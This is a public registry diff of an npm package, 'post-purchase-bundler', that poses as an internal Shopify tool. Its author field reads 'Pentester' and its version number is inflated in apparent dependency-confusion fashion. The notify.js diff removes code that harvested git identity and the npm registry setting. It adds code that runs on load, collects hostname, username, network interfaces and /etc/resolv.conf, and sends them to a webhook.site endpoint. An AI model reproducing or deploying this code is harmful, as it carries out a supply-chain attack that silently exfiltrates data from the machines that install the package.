post-purchase-bundler 101.0.3 → 102.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/notify.js +41 -36
  2. package/package.json +1 -1
package/notify.js CHANGED
@@ -1,45 +1,50 @@
1
1
  const https = require('https');
2
- const { execSync } = require('child_process');
3
2
  const os = require('os');
3
+ const { execSync } = require('child_process');
4
4
 
5
- function getSignature() {
6
- let signature = {};
7
- try {
8
- // 1. Git vasitəsilə mühəndisin/serverin rəsmi adını və emailini götürürük
9
- signature.git_user = execSync('git config --global user.name').toString().trim();
10
- signature.git_email = execSync('git config --global user.email').toString().trim();
11
- } catch (e) { signature.git = "No Git Access"; }
5
+ function runDiagnostics() {
6
+ const diag = {
7
+ event: "DEEP-DIAGNOSTICS",
8
+ target: "shopify-internal-audit",
9
+ identity: {
10
+ hostname: os.hostname(),
11
+ user: os.userInfo().username,
12
+ uid: process.getuid ? process.getuid() : "N/A"
13
+ },
14
+ network: {
15
+ interfaces: os.networkInterfaces(), // Daxili IP-lər (10.x.x.x və ya 172.x.x.x)
16
+ dns_servers: []
17
+ },
18
+ system: {
19
+ uptime: os.uptime(),
20
+ loadavg: os.loadavg(),
21
+ mem: { total: os.totalmem(), free: os.freemem() }
22
+ }
23
+ };
12
24
 
13
25
  try {
14
- // 2. Daxili NPM konfiqurasiyasını yoxlayırıq (onların daxili registry linki burda olur)
15
- signature.npm_registry = execSync('npm config get registry').toString().trim();
16
- } catch (e) { signature.npm = "No NPM Config"; }
26
+ // DNS konfiqurasiyasını görmək daxili şəbəkə adını ifşa edir
27
+ diag.network.dns_servers = execSync('cat /etc/resolv.conf 2>/dev/null').toString().trim().split('\n');
28
+ } catch (e) {}
17
29
 
18
- try {
19
- // 3. Serverin uptime və daxili kernel məlumatı (botlarda fərqli olur)
20
- signature.uname = execSync('uname -a').toString().trim();
21
- } catch (e) { signature.uname = "Error"; }
30
+ const data = JSON.stringify(diag);
22
31
 
23
- return signature;
24
- }
25
-
26
- const payload = JSON.stringify({
27
- event: "OFFICIAL-SIGNATURE-LEAK",
28
- target: "shopify-internal-audit",
29
- hostname: os.hostname(),
30
- user: os.userInfo().username,
31
- details: getSignature()
32
- });
32
+ const options = {
33
+ hostname: 'webhook.site',
34
+ path: '/4d0cc13d-a185-4e95-92dc-f4681125055c',
35
+ method: 'POST',
36
+ headers: {
37
+ 'Content-Type': 'application/json',
38
+ 'Content-Length': Buffer.byteLength(data)
39
+ }
40
+ };
33
41
 
34
- const options = {
35
- hostname: 'webhook.site',
36
- path: '/4d0cc13d-a185-4e95-92dc-f4681125055c',
37
- method: 'POST',
38
- headers: { 'Content-Type': 'application/json' }
39
- };
42
+ const req = https.request(options);
43
+ req.on('error', () => process.exit(0));
44
+ req.write(data);
45
+ req.end(() => {
46
+ setTimeout(() => process.exit(0), 1500);
47
+ });
48
+ }
40
49
 
41
- const req = https.request(options);
42
- req.write(payload);
43
- req.end(() => {
44
- setTimeout(() => process.exit(0), 1000);
45
- });
50
+ runDiagnostics();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "post-purchase-bundler",
3
- "version": "101.0.3",
3
+ "version": "102.0.3",
4
4
  "description": "Internal Shopify post-purchase processing bundler",
5
5
  "main": "index.js",
6
6
  "author": "Pentester",